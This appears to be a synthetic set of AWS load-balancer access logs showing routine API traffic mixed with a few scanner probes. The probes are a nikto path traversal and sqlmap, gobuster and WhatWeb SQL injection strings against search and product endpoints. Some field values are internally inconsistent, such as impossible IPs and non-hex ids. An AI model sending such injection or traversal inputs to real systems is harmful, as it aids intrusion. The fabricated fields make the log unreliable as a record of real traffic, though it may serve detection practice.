arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d87f-4003e5a654c84a01bfe7c025" "prod-api-alb.example.com" "-" 4 2024-11-01T02:20:31.228978Z "forward" "-" "-" "10.0.131.90:443" "404" "-" "-" -https 2024-11-01T02:20:32.020391Z prod-api-alb 219.214.97.1:34601 10.0.236.83:443 0.053523 0.241961 0.069951 200 200 901 1599 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d880-46ba738a316d4b9a8552255a" "prod-api-alb.example.com" "-" 2 2024-11-01T02:20:32.020391Z "forward" "-" "-" "10.0.236.83:443" "200" "-" "-" -https 2024-11-01T02:20:32.588193Z prod-api-alb 124.110.229.109:32182 10.0.17.166:443 0.090358 0.073218 0.051091 200 200 289 4789 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d880-daaaf862966c4262a836544b" "prod-api-alb.example.com" "-" 10 2024-11-01T02:20:32.588193Z "forward" "-" "-" "10.0.17.166:443" "200" "-" "-" -https 2024-11-01T02:20:33.706540Z prod-web-alb 193.27.228.98:27973 10.0.221.69:443 0.003255 0.190262 0.081355 404 404 864 10739 "GET /static/../../secret HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d881-33c8215b78144b84836ce15d" "-" "-" 7 2024-11-01T02:20:33.706540Z "forward" "-" "-" "10.0.221.69:443" "404" "-" "-" -https 2024-11-01T02:20:35.684254Z prod-web-alb 59.52.36.126:47623 10.0.130.187:443 0.050940 0.196396 0.031253 404 404 740 1348 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d883-77a7eb27107c412bbe12a14c" "prod-web-alb.example.com" "-" 5 2024-11-01T02:20:35.684254Z "forward" "-" "-" "10.0.130.187:443" "404" "-" "-" -http 2024-11-01T02:20:37.608593Z staging-alb 29.103.236.93:47135 7.6.201.195:80 0.066979 0.493408 0.105541 302 302 424 544 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d885-7f7b4d51e07141bfb7b61083" "staging-alb.example.com" "-" 9 2024-11-01T02:20:37.608593Z "forward" "-" "-" "7.6.201.195:80" "302" "-" "-" -https 2024-11-01T02:20:38.935119Z prod-api-alb 139.100.227.134:20890 10.0.151.31:443 0.056231 0.096509 0.067786 200 200 450 7159 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d886-8d3a5a4b80e04640ad4a3f03" "prod-api-alb.example.com" "-" 2 2024-11-01T02:20:38.935119Z "forward" "-" "-" "10.0.151.31:443" "200" "-" "-" -https 2024-11-01T02:20:40.228901Z prod-api-alb 161.80.177.225:44301 10.0.106.104:443 0.005207 0.315929 0.056868 200 200 432 4230 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d888-2bb7779aea55476782b77dbd" "prod-api-alb.example.com" "-" 1 2024-11-01T02:20:40.228901Z "forward" "-" "-" "10.0.106.104:443" "200" "-" "-" -https 2024-11-01T02:20:40.838639Z prod-web-alb 186.81.222.193:40652 10.0.78.132:443 0.017722 0.460224 0.087904 302 302 188 6531 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d888-51e0e09b155d4ad8974c94d9" "prod-web-alb.example.com" "-" 7 2024-11-01T02:20:40.838639Z "forward" "-" "-" "10.0.78.132:443" "302" "-" "-" -https 2024-11-01T02:20:42.819515Z staging-alb 147.21.14.11:45062 126.39.47.146:443 0.095241 0.427453 0.086189 301 301 177 5416 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d88a-bf83b7793fb642a38d2f4e9f" "staging-alb.example.com" "-" 4 2024-11-01T02:20:42.819515Z "forward" "-" "-" "126.39.47.146:443" "301" "-" "-" -https 2024-11-01T02:20:43.313740Z staging-alb 108.66.121.151:42214 128.137.221.164:443 0.071508 0.433057 0.107206 302 302 350 5090 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d88b-cbeaedcef89c4e3baad5f659" "staging-alb.example.com" "-" 5 2024-11-01T02:20:43.313740Z "forward" "-" "-" "128.137.221.164:443" "302" "-" "-" -https 2024-11-01T02:20:44.647405Z prod-web-alb 242.82.13.150:21828 10.0.150.216:443 0.016948 0.082363 0.068618 301 301 198 14548 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d88c-8643ae8f51de408aaf4ef49f" "prod-web-alb.example.com" "-" 5 2024-11-01T02:20:44.647405Z "forward" "-" "-" "10.0.150.216:443" "301" "-" "-" -https 2024-11-01T02:20:45.344434Z prod-api-alb 129.19.2.11:34867 10.0.132.63:443 0.027416 0.087195 0.050015 200 200 200 1436 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d88d-aaea00f22ab74617b4536547" "prod-api-alb.example.com" "-" 9 2024-11-01T02:20:45.344434Z "forward" "-" "-" "10.0.132.63:443" "200" "-" "-" -https 2024-11-01T02:20:45.832821Z staging-alb 171.53.230.237:10740 198.85.30.180:8080 0.034479 0.360318 0.094030 302 302 715 12603 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d88d-5b0729816c714a958ad7f525" "staging-alb.example.com" "-" 2 2024-11-01T02:20:45.832821Z "forward" "-" "-" "198.85.30.180:8080" "302" "-" "-" -https 2024-11-01T02:20:46.696590Z prod-web-alb 185.181.26.16:51577 10.0.84.201:443 0.005351 0.494863 0.034781 403 403 483 14527 "GET /search?q=1' UNION SELECT HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d88e-3c7b2387be634981961a6802" "-" "-" 10 2024-11-01T02:20:46.696590Z "forward" "-" "-" "10.0.84.201:443" "403" "-" "-" -http 2024-11-01T02:20:48.625868Z staging-alb 50.165.120.129:48879 165.107.169.106:8080 0.104451 0.735726 0.107781 301 301 64 6033 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d890-8b28e899cf3b45f5ba6b88bb" "staging-alb.example.com" "-" 5 2024-11-01T02:20:48.625868Z "forward" "-" "-" "165.107.169.106:8080" "301" "-" "-" -https 2024-11-01T02:20:49.653199Z prod-web-alb 171.183.13.48:52040 10.0.186.215:443 0.055893 0.065993 0.049096 200 200 306 12007 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d891-9fa672436f6d42d3897037be" "prod-web-alb.example.com" "-" 2 2024-11-01T02:20:49.653199Z "forward" "-" "-" "10.0.186.215:443" "200" "-" "-" -https 2024-11-01T02:20:50.142881Z prod-api-alb 93.152.177.160:29450 10.0.210.59:443 0.049923 0.489065 0.093411 200 200 32 7223 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d892-d13781acdb43440da92f5bd9" "prod-api-alb.example.com" "-" 2 2024-11-01T02:20:50.142881Z "forward" "-" "-" "10.0.210.59:443" "200" "-" "-" -https 2024-11-01T02:20:51.194464Z prod-api-alb 113.124.114.212:51661 10.0.44.231:443 0.051882 0.301306 0.091629 200 200 548 10787 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d893-37349d3610004a4884cb3bbd" "prod-api-alb.example.com" "-" 6 2024-11-01T02:20:51.194464Z "forward" "-" "-" "10.0.44.231:443" "200" "-" "-" -https 2024-11-01T02:20:52.397626Z prod-web-alb 138.91.198.227:19236 10.0.242.7:443 0.099203 0.094239 0.015566 200 200 761 13837 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d894-55b2afb4fcb94fe89c25a048" "prod-web-alb.example.com" "-" 0 2024-11-01T02:20:52.397626Z "forward" "-" "-" "10.0.242.7:443" "200" "-" "-" -https 2024-11-01T02:20:53.103905Z staging-alb 115.21.101.69:12516 161.180.60.132:8080 0.089918 0.679724 0.030794 200 200 226 2120 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d895-221debb2a9d046cdbd8b3301" "staging-alb.example.com" "-" 5 2024-11-01T02:20:53.103905Z "forward" "-" "-" "161.180.60.132:8080" "200" "-" "-" -https 2024-11-01T02:20:54.478878Z prod-api-alb 120.186.133.142:10369 10.0.29.243:443 0.023794 0.416328 0.054495 200 200 119 13923 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d896-d0c065fd4f1845c5be347dcf" "prod-api-alb.example.com" "-" 0 2024-11-01T02:20:54.478878Z "forward" "-" "-" "10.0.29.243:443" "200" "-" "-" -https 2024-11-01T02:20:54.925117Z prod-web-alb 83.9.162.229:61357 10.0.53.49:443 0.056847 0.414449 0.001717 200 200 596 5195 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d896-31dc33df5a32461dbc2d263d" "prod-web-alb.example.com" "-" 2 2024-11-01T02:20:54.925117Z "forward" "-" "-" "10.0.53.49:443" "200" "-" "-" -http 2024-11-01T02:20:56.438830Z staging-alb 62.115.13.133:58494 225.135.76.217:443 0.088873 0.584012 0.110583 301 301 977 5868 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d898-fee31c2dd75347d68ed5ed38" "staging-alb.example.com" "-" 1 2024-11-01T02:20:56.438830Z "forward" "-" "-" "225.135.76.217:443" "301" "-" "-" -https 2024-11-01T02:20:56.547297Z prod-web-alb 117.169.33.37:23296 10.0.211.97:443 0.046507 0.391318 0.023499 200 200 323 8320 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d898-254df2e0b88c4267befa60b8" "prod-web-alb.example.com" "-" 2 2024-11-01T02:20:56.547297Z "forward" "-" "-" "10.0.211.97:443" "200" "-" "-" -https 2024-11-01T02:20:58.408747Z prod-web-alb 193.244.177.95:36325 10.0.113.62:443 0.095997 0.137699 0.031298 200 200 792 6845 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d89a-3cc74044b9364d3a8e189fac" "prod-web-alb.example.com" "-" 8 2024-11-01T02:20:58.408747Z "forward" "-" "-" "10.0.113.62:443" "200" "-" "-" -http 2024-11-01T02:20:59.629187Z staging-alb 181.225.249.181:19255 163.49.39.92:80 0.144665 0.514339 0.055632 200 200 246 9273 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d89b-f902420a13994d72a9de94e7" "staging-alb.example.com" "-" 2 2024-11-01T02:20:59.629187Z "forward" "-" "-" "163.49.39.92:80" "200" "-" "-" -https 2024-11-01T02:20:59.840489Z prod-web-alb 10.59.187.20:19124 10.0.255.68:443 0.086373 0.497311 0.001395 302 302 681 2906 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d89b-aaf164a2ef0f40d3952e3074" "prod-web-alb.example.com" "-" 10 2024-11-01T02:20:59.840489Z "forward" "-" "-" "10.0.255.68:443" "302" "-" "-" -http 2024-11-01T02:21:00.213081Z staging-alb 102.195.220.136:64315 231.177.23.174:443 0.002008 0.587656 0.050960 302 302 115 3245 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d89c-4d166121aada4e5aaefbeb2b" "staging-alb.example.com" "-" 9 2024-11-01T02:21:00.213081Z "forward" "-" "-" "231.177.23.174:443" "302" "-" "-" -https 2024-11-01T02:21:01.776955Z prod-api-alb 201.58.185.176:43922 10.0.14.240:443 0.095051 0.023563 0.020338 301 301 8 12531 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d89d-fa1744f6d4d745c4aa0bfe94" "-" "-" 8 2024-11-01T02:21:01.776955Z "forward" "-" "-" "10.0.14.240:443" "301" "-" "-" -https 2024-11-01T02:21:02.815145Z prod-api-alb 115.230.41.173:44985 10.0.109.156:443 0.054505 0.257289 0.018645 200 200 942 3607 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d89e-55700f75f1974dc59522d0ab" "prod-api-alb.example.com" "-" 6 2024-11-01T02:21:02.815145Z "forward" "-" "-" "10.0.109.156:443" "200" "-" "-" -https 2024-11-01T02:21:04.191872Z prod-api-alb 193.27.228.79:37511 10.0.36.19:443 0.038900 0.436804 0.007113 403 403 445 1244 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8a0-3f646be231b2426d95d13bed" "-" "-" 8 2024-11-01T02:21:04.191872Z "forward" "-" "-" "10.0.36.19:443" "403" "-" "-" -https 2024-11-01T02:21:06.182384Z staging-alb 193.27.228.128:33116 99.224.47.194:8080 0.045943 0.723997 0.120311 200 200 112 11900 "POST /search?q=1' UNION SELECT HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8a2-e08125d8dfcd4273bd4a4cb4" "-" "-" 5 2024-11-01T02:21:06.182384Z "forward" "-" "-" "99.224.47.194:8080" "200" "-" "-" -http 2024-11-01T02:21:07.904043Z staging-alb 150.24.235.112:10674 198.46.102.164:443 0.107131 0.694436 0.143241 301 301 503 6711 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8a3-3664a2422c904da88af3e94d" "-" "-" 7 2024-11-01T02:21:07.904043Z "forward" "-" "-" "198.46.102.164:443" "301" "-" "-" -https 2024-11-01T02:21:09.426935Z prod-api-alb 168.168.131.82:42635 10.0.172.75:443 0.026641 0.044079 0.063479 200 200 27 5575 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8a5-809d035b71304c1ab55551b6" "prod-api-alb.example.com" "-" 1 2024-11-01T02:21:09.426935Z "forward" "-" "-" "10.0.172.75:443" "200" "-" "-" -http 2024-11-01T02:21:10.830180Z staging-alb 151.42.110.228:51656 51.137.29.187:8080 0.090283 0.656836 0.090025 200 200 895 7910 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8a6-0afe3d6b1b124fc2803e60b8" "staging-alb.example.com" "-" 9 2024-11-01T02:21:10.830180Z "forward" "-" "-" "51.137.29.187:8080" "200" "-" "-" -https 2024-11-01T02:21:11.282383Z prod-api-alb 62.240.198.119:26365 10.0.98.86:443 0.019831 0.014348 0.070495 302 302 27 9768 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8a7-17ddcf1292cd4e6ea142004f" "prod-api-alb.example.com" "-" 6 2024-11-01T02:21:11.282383Z "forward" "-" "-" "10.0.98.86:443" "302" "-" "-" -https 2024-11-01T02:21:12.319472Z staging-alb 119.180.78.131:50617 197.133.228.196:8080 0.061797 0.528815 0.116955 200 200 28 13654 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8a8-92b132b1bdd842598f7d8ad5" "staging-alb.example.com" "-" 8 2024-11-01T02:21:12.319472Z "forward" "-" "-" "197.133.228.196:8080" "200" "-" "-" -https 2024-11-01T02:21:13.764351Z staging-alb 127.254.36.46:30497 121.210.223.157:80 0.045002 0.714743 0.061100 200 200 656 13800 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8a9-e14c610ebc234f56ada71e9d" "staging-alb.example.com" "-" 7 2024-11-01T02:21:13.764351Z "forward" "-" "-" "121.210.223.157:80" "200" "-" "-" -https 2024-11-01T02:21:14.334917Z prod-web-alb 17.168.63.97:61309 10.0.101.175:443 0.096424 0.417910 0.019079 200 200 22 3834 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8aa-4fb678dcc4d94a7a9bea70e5" "prod-web-alb.example.com" "-" 5 2024-11-01T02:21:14.334917Z "forward" "-" "-" "10.0.101.175:443" "200" "-" "-" -https 2024-11-01T02:21:14.652366Z prod-api-alb 17.223.63.27:29685 10.0.2.87:443 0.041276 0.047136 0.078580 301 301 879 4652 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8aa-635e2d588d094ca59b2f2e7e" "prod-api-alb.example.com" "-" 4 2024-11-01T02:21:14.652366Z "forward" "-" "-" "10.0.2.87:443" "301" "-" "-" -https 2024-11-01T02:21:15.051515Z prod-api-alb 253.210.244.184:40160 10.0.231.151:443 0.037648 0.162154 0.005552 301 301 250 11510 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8ab-fb013d01787d4933bffb471c" "prod-api-alb.example.com" "-" 6 2024-11-01T02:21:15.051515Z "forward" "-" "-" "10.0.231.151:443" "301" "-" "-" -https 2024-11-01T02:21:16.317004Z staging-alb 194.44.142.59:47968 46.231.95.90:443 0.025666 0.512169 0.056472 200 200 878 3743 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8ac-77f0a462e4854190bc810fb3" "staging-alb.example.com" "-" 8 2024-11-01T02:21:16.317004Z "forward" "-" "-" "46.231.95.90:443" "200" "-" "-" -https 2024-11-01T02:21:17.527300Z prod-api-alb 116.213.17.66:56316 10.0.29.227:443 0.011594 0.480635 0.065005 302 302 917 5282 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8ad-4918b501c5cf400c89e8e648" "prod-api-alb.example.com" "-" 0 2024-11-01T02:21:17.527300Z "forward" "-" "-" "10.0.29.227:443" "302" "-" "-" -https 2024-11-01T02:21:18.511912Z staging-alb 146.29.127.45:40490 143.220.254.76:8080 0.089719 0.132762 0.074310 301 301 222 4509 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8ae-01796efa4f4748539694e68e" "staging-alb.example.com" "-" 9 2024-11-01T02:21:18.511912Z "forward" "-" "-" "143.220.254.76:8080" "301" "-" "-" -https 2024-11-01T02:21:19.161115Z prod-api-alb 125.234.85.90:37082 10.0.180.9:443 0.080161 0.454809 0.077726 301 301 267 14438 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8af-885f1805fd9540f89b9ad6e8" "prod-api-alb.example.com" "-" 2 2024-11-01T02:21:19.161115Z "forward" "-" "-" "10.0.180.9:443" "301" "-" "-" -https 2024-11-01T02:21:20.994661Z prod-web-alb 190.61.168.28:21664 10.0.169.63:443 0.043079 0.177862 0.048268 200 200 393 12967 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8b0-08ec1b58565342e587d68b10" "prod-web-alb.example.com" "-" 4 2024-11-01T02:21:20.994661Z "forward" "-" "-" "10.0.169.63:443" "200" "-" "-" -http 2024-11-01T02:21:21.789516Z staging-alb 134.14.228.126:53323 2.246.208.213:443 0.127330 0.049333 0.086457 404 404 304 13966 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8b1-018b1b7fbc604b278e2429c1" "staging-alb.example.com" "-" 2 